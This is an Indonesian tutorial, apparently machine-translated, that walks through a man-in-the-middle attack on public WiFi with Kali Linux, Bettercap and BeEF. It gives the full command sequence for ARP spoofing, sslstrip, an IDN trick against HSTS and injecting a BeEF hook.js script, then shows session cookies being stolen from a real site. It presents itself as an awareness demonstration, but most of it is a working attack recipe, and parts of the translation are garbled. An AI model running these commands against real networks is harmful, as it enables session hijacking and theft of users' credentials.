Artikel ini adalah tentang bagaimana menjadi lebih dingin (atau Script Kiddie dalam bahasa Inggris) - penyerang bersyarat yang tidak memiliki pengetahuan pemrograman dan menggunakan perangkat lunak yang ada untuk meluncurkan serangan pada smartphone dan tablet teman sekelasnya.
Hanya bercanda. Nyatanya, saya dihadapkan pada tugas untuk memahami dua hal:
- WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
- ( ) ββ .
Dan di spoiler ada spoiler:
- Ya, Berbahaya!
- Mungkin saja
Saya harus segera mengatakan bahwa meskipun beberapa eksperimen saya terjadi di jaringan publik yang sebenarnya, saya hanya mendapat "akses ilegal" ke browser perangkat saya sendiri. Oleh karena itu, sebenarnya saya tidak melanggar Bab 28 KUHP Federasi Rusia , dan saya sangat menyarankan Anda untuk tidak melanggarnya. Eksperimen dan artikel ini ditawarkan untuk ditinjau semata-mata untuk menunjukkan ketidakamanan penggunaan jaringan nirkabel publik.
Jadi, apa masalah sebenarnya bagi seorang peretas jika mudah untuk mencegat lalu lintas di jaringan nirkabel terbuka oleh sniffer apa pun? Masalahnya adalah pada tahun 2020, hampir semua (99%) situs menggunakan HTTPS dan mengenkripsi semua pertukaran data antara server dan browser "korban" potensial dengan kunci individu menggunakan protokol TLS yang cukup baru.... TLS memungkinkan aplikasi klien-server untuk berkomunikasi melalui jaringan sedemikian rupa sehingga tidak ada paket yang mengendus dan akses tidak sah yang dapat dibuat. Lebih tepatnya, Anda dapat mendengarkan, tetapi tidak masuk akal dalam hal ini, karena lalu lintas terenkripsi tanpa kunci tidak berguna untuk mendekripsi.
Selain itu, semua browser modern menerapkan mekanisme HSTS (HTTP Strict Transport Security), yang memaksa sambungan aman melalui protokol HTTPS dan menghentikan sambungan HTTP sederhana. Kebijakan keamanan ini memungkinkan Anda untuk segera membuat sambungan aman daripada menggunakan protokol HTTP. Mesinnya menggunakan tajuk khususStrict-Transport-Security untuk memaksa browser menggunakan HTTPS meskipun mengikuti link yang secara eksplisit menentukan HTTP (http: //). Versi HSTS asli tidak melindungi sambungan pertama pengguna ke situs, yang meninggalkan celah bagi peretas, dan penyerang dapat dengan mudah mencegat sambungan pertama jika melalui http. Oleh karena itu, untuk mengatasi masalah ini, sebagian besar browser modern menggunakan daftar situs statis tambahan (daftar pramuat HSTS) yang memerlukan penggunaan protokol https.
Untuk entah bagaimana mencegat kata sandi yang dimasukkan atau mencuri cookie korban, Anda harus masuk ke browser korban atau memastikan bahwa protokol enkripsi TLS tidak digunakan. Kami akan melakukan keduanya sekaligus. Untuk ini, kami akan menggunakan man-in-the-middleβ(MitM). Saya akan membuat reservasi bahwa serangan kami akan menjadi tingkat yang agak rendah, karena kami akan menggunakan "konstruktor setengah jadi" yang sudah jadi dari majalah Hackney Sam secara praktis tanpa modifikasi apa pun. Peretas sejati dipersenjatai dengan lebih baik, dan kami hanya memainkan peran kulkhatsker berketerampilan rendah untuk menggambarkan tingkat ketidakamanan jaringan nirkabel publik modern.
Besi
Sebagai toolkit untuk eksperimen, saya menggunakan toolkit berikut:
- Semua jaringan WiFi publik di food court
- Netbook Acer Aspire one D270
- Kartu wifi built-in Atheros AR5B125
- Adaptor wifi usb wifi eksternal TP-LINK Archer T4U v3
- Adaptor usb wifi eksternal TP-LINK Archer T9UH v2
- Kali Linux dengan kernel versi 5.8.0-kali2-amd64
- Bettercap v2.28 kerangka
- Kerangka kerja BeEF 0.5
- Beberapa smartphone dan tablet Android 9 dan laptop Windows 7 sebagai perangkat korban.
Mengapa ada begitu banyak kartu wifi? Ya, karena dalam proses percobaan, saya menginjak banyak garu dan mencoba menghemat uang. Ternyata kartu WiFi yang bagus adalah alat utama penyerang yang berhasil. Ada sejumlah masalah: kartu harus mendukung pemantauan dan titik akses (AP), harus memiliki driver untuk versi kernel Linux Anda, kartu harus memiliki antena yang baik dan kemampuan untuk mengontrol kekuatan sinyal. Jika Anda tidak menginginkan penggaruk ekstra, ambil adaptor mahal dari bagian paling atas daftar ini dan jangan lupa untuk memeriksa ketersediaan driver khusus untuk revisi perangkat keras kartu Anda.
Kartu Atheros AR9485 bawaan memiliki dukungan yang sangat baik untuk semua mode dan driver yang tidak biasa di Kali, tetapi ketidakmampuan untuk mengontrol kekuatan sinyal dan antena yang lemah meniadakan keefektifan kartu ini selama fase interferensi aktif.
WiFi TP-LINK Archer T4U v3 tidak memiliki driver di luar kotak, dan yang saya temukan di Github tidak memiliki dukungan mode titik akses (AP) dan harus dikompilasi sendiri.
Kartu TP-LINK Archer T9UH v2 bekerja sempurna dengan pengemudi di luar kotak, di atasnya saya melakukannya.
Perangkat lunak
Hal pertama yang saya lakukan adalah menginstal Kali Linux 5.8.0 di laptop saya. Satu-satunya SSD di laptop kosong dan sepenuhnya dimaksudkan untuk percobaan, yang membuat saya tidak perlu repot mempartisi dan mencadangkan data lama darinya, jadi saya menggunakan semua opsi default selama instalasi. Saya masih mengalami beberapa masalah sepele seperti kehilangan mount stik USB dengan kit distribusi selama instalasi dan memperbarui sistem ke versi terbaru dari repositori.

Kemudian perlu untuk meluncurkan alat penetrasi, yaitu Bettercap dan BeEF. Dengan bantuan mereka, kami akan memaksa browser para "korban" untuk menolak mengenkripsi lalu lintas dan menyuntikkan Trojan JavaScript ke situs yang mereka kunjungi.
BettercapMerupakan alat dan kerangka kerja yang lengkap, modular, portabel, dan mudah diperluas dengan semua jenis fungsi diagnostik dan ofensif yang mungkin Anda perlukan untuk melakukan serangan man-in-the-middle. Bettercap ditulis di Go, pengembangan utama proyek berlangsung hingga 2019, sekarang hanya ada perbaikan kecil. Namun, seperti yang akan kita lihat nanti, alat ini di dunia keamanan informasi yang berubah dengan cepat tetap relevan di akhir tahun 2020. Bettercap hadir dengan modul arp spoof dan sslstrip bawaan. Bettercaplah yang mengintersep lalu lintas dan memasukkan beban berbahaya ke dalamnya.
SSlstrip adalah server proxy khusus yang memungkinkan Anda mengatur salah satu cara untuk melewati HTTPSuntuk menghalangi lalu lintas itu adalah dengan membagi sesi pengguna menjadi dua bagian. Bagian pertama dari klien ke server proxy akan membahas protokol HTTP , dan bagian kedua, dari proxy ke server, akan diteruskan, sebagaimana mestinya, melalui koneksi terenkripsi. SSLstrip memungkinkan Anda untuk membagi sesi korban menjadi dua bagian dan mencegat lalu lintas untuk analisis lebih lanjut, serta menyediakan pengalihan otomatis ke kembar halaman HTTP yang dibuat secara dinamis .
arp spoofmenyadap paket pada jaringan lokal berkabel atau nirkabel. arpspoof mengalihkan paket dari host target (atau semua host) di jaringan yang ditujukan untuk host lain di jaringan itu dengan spoofing tanggapan ARP. Ini adalah cara yang sangat efektif untuk mengendus lalu lintas di sakelar atau router wifi.
BeEF adalah kerangka kerja yang memungkinkan Anda untuk secara terpusat mengelola kumpulan klien yang terinfeksi melalui serangan XSS (skrip lintas situs), mengeluarkan perintah kepada mereka dan mendapatkan hasil. "Penyerang" memasukkan script hook.js ke situs yang rentan. Skrip hook.js dari browser korban memberi sinyal ke pusat kendali di komputer penyerang (BeEF) bahwa klien baru sedang online. "Penyerang" memasuki panel kontrol Daging Sapi dan mengontrol browser yang terinfeksi dari jarak jauh.
Saya menggunakan versi Bettercap v2.28 dan BeEF 0.5 Keduanya sudah termasuk dalam Kali Linux 5.8.0
Buka jendela prompt perintah dan masukkan perintah
sudo beef-xss

Bagian pertama dari sandwich berbahaya kami - kerangka BeEF - dimulai.
Sekarang mari kita luncurkan browser (di Kali Linux biasanya Firefox), pergi ke alamat http://127.0.0.1:3000/ui/pannel , login default dan kata sandi beef: beef, setelah itu kita sampai ke pusat kendali serangan kita.

Biarkan tab Daging Sapi terbuka, kita akan kembali lagi nanti.
Mari beralih ke bagian kedua dari sandwich - Bettercap. Ada jebakan di sini - Bettercap, yang sudah ada di sistem, menolak untuk memulai dengan layanan dan memberikan kesalahan lain yang saya tidak mengerti. Oleh karena itu, saya memutuskan untuk menghapusnya dan menginstal ulang secara manual. Buka jendela prompt perintah dan jalankan perintah:
sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap
Kemudian kami mengunduh versi biner Bettercap v2.28 di arsip ke dalam folder unduhan dengan browser . Harap dicatat bahwa saya memilih versi untuk arsitektur kernel saya.
Sekarang kami membongkar dan menempatkan file yang dapat dieksekusi di sistem Bettercap ke dalam folder yang ditujukan untuk instalasi manual.
d
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/
Cara termudah untuk memulai Bettercap adalah dengan menggunakan antarmuka pengguna web resminya . Antarmuka web bekerja secara bersamaan dengan layanan API lainnya dan sesi baris perintah interaktif. Untuk menginstal antarmuka web, Anda perlu menjalankan perintah:
sudo bettercap -eval "caplets.update; ui.update; q"
Perhatian! Sudah pada tahap ini, perlu untuk terhubung ke jaringan nirkabel yang diserang, mendapatkan alamat ip untuk antarmuka nirkabel dari mesin yang menyerang dan mengingatnya (perintah
ifconfigakan membantu mengetahuinya).
Bettercap memahami perintah baris perintah dan kaplet. Kaplet hanyalah file teks dengan daftar perintah yang akan dijalankan secara berurutan. Kaplet http-ui digunakan untuk meluncurkan antarmuka web. Anda dapat melihat dan mengubah kredensial default di dalamnya di sepanjang jalur /usr/local/share/bettercap/caplets/http-ui.cap. Meluncurkan Bettercap dengan modul antarmuka web api.rest dan http.server 127.0.0.1 dilakukan dengan perintah
sudo bettercap -caplet http-ui

Sekarang Anda dapat membuka tab lain di browser dengan alamat 127.0.0.1 (tanpa nomor port!) Dan masuk menggunakan kredensial yang dimata-matai atau dikonfigurasi pada langkah sebelumnya (biasanya user / pass ).

Antarmuka web Bettercap sepenuhnya menduplikasi baris perintah, jadi semua tindakan yang akan kita lakukan dari baris perintah juga dapat dilakukan dari antarmuka web (meluncurkan modul, mengubah mode, melihat perubahan nilai variabel, menampilkan informasi diagnostik)
Lanjutkan pada baris perintah dan lakukan pengintaian jaringan nirkabel yang telah kami sambungkan sebagai klien biasa.
net.recon on
net.probe on
Net.show
net.recon off
net.recon on - Mulai menemukan host jaringan.
net.probe on - Memulai probe aktif untuk host baru di jaringan dengan mengirimkan paket palsu ke setiap IP yang mungkin di subnet.
net.show - Memberikan perintah untuk menampilkan daftar cache host yang terdeteksi.
net.probe off - Mematikan modul probing yang aktif.
Kami mengkonfigurasi variabel Bettercap sehingga:
- bekerja sebagai proxy transparan dan "menonaktifkan" enkripsi pertukaran browser "korban" oleh modul sslstrip,
- menyuntikkannya dengan beban berbahaya (http://192.168.0.103/hook.js - skrip BeEF, gunakan IP yang dikeluarkan oleh router ke adaptor Anda di jaringan yang diserang),
- melewati mekanisme HTST dengan mengganti alamat di bilah alamat browser korban dengan karakter internasional yang serupa.
Perintah:
set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true
Kemudian kami meluncurkan serangan terhadap pengguna nirkabel:
Perintah
arp.spoof on
http.proxy on

arp.spoof on - Memulai ARP cache poisoning dari perangkat "korban", modul ini mengalihkan lalu lintas ke antarmuka nirkabel dari "penyerang"
http.proxy on - Memulai proxy transparan, modul ini membuat server proxy yang akan menangkap semua lalu lintas yang diteruskan dan memodifikasinya agar sesuai "Pengacau".
"Korban" mulai menggunakan Internet, pergi ke situs web, dan jika berhasil, serangan akan dicabut enkripsi transportasi (yang berarti mereka akan tersedia untuk didengarkan langsung oleh pelacak apa pun) dan akan menerima skrip BeEF yang berbahaya. Skrip BeEF, dijalankan dalam konteks domain tempat halaman itu disematkan, dapat melakukan banyak tindakan berbeda, misalnya, mencuri cookie atau mencuri sandi yang dimasukkan.

Karena layaknya sandwich yang dibuat dengan tergesa-gesa, serangan tidak akan berhasil di semua lokasi. Misalnya, sangat kecil kemungkinannya untuk meluncurkan serangan dengan salah satu situs Google, karena browser telah memiliki daftar pramuat HSTS untuk beberapa situs. Tapi ternyata sangat mungkin untuk "membajak" Rambler atau Coub.com! Jika kita meminta βkorbanβ ( manipulasi psikologis , kemana kita bisa pergi tanpanya) untuk membuka alamat Ro.ru , atau tiba-tiba dia melakukannya sendiri, maka inilah yang terjadi:


Semua lalu lintas korban ke situs web rambler.ru terbang di udara dalam teks yang jelas dan dapat didengarkan oleh pelacak apa pun. Sementara di browser "korban" hampir tidak ada tanda-tanda masalah, kecuali segitiga yang tidak mencolok dan karakter aneh lainnya di ujung bilah alamat.

Dan pada mesin "penyerang" di panel kontrol kerangka BeEF, di bagian Browser Online, sementara itu, sebuah entri akan muncul tentang browser baru yang tertangkap. Pilih browser ini dengan mouse, pergi ke sub-tab Perintah, ke direktori Browser, kemudian berturut-turut Hooked domain β Dapatkan Cookie β Jalankan

Sekali, dan dengan beberapa klik mouse, kami mencuri cookie sesi situs web Rambler.ru dari korban. Sekarang kita dapat mencoba memasukkannya ke browser kita dan masuk ke sesi korban. Dan itu hanya puncak! Namun di gudang BeEF masih ada beberapa ratus "perintah" berbeda yang dapat kita kirim ke browser "tertangkap": berbagai opsi phishing, mencuri sandi, ricroll, pengalihan, eksploitasi ...
kesimpulan
Kesimpulan eksperimen ini mengecewakan. Browser masih tidak dapat 100% melindungi pengguna dari gangguan lalu lintas atau mengganti situs ini dengan phishing. Mekanisme HSTS hanya berfungsi untuk beberapa ribu situs paling populer dan meninggalkan jutaan situs lainnya tanpa perlindungan yang dapat diandalkan. Browser tidak cukup eksplisit untuk memperingatkan bahwa koneksi ke server tidak dienkripsi. Situasinya bahkan lebih buruk di jaringan nirkabel, di mana siapa pun yang ingin memiliki akses ke media transmisi data, sementara hampir tidak ada pengguna sama sekali yang memverifikasi keaslian titik akses itu sendiri, dan metode otentikasi titik akses yang andal tidak ada.
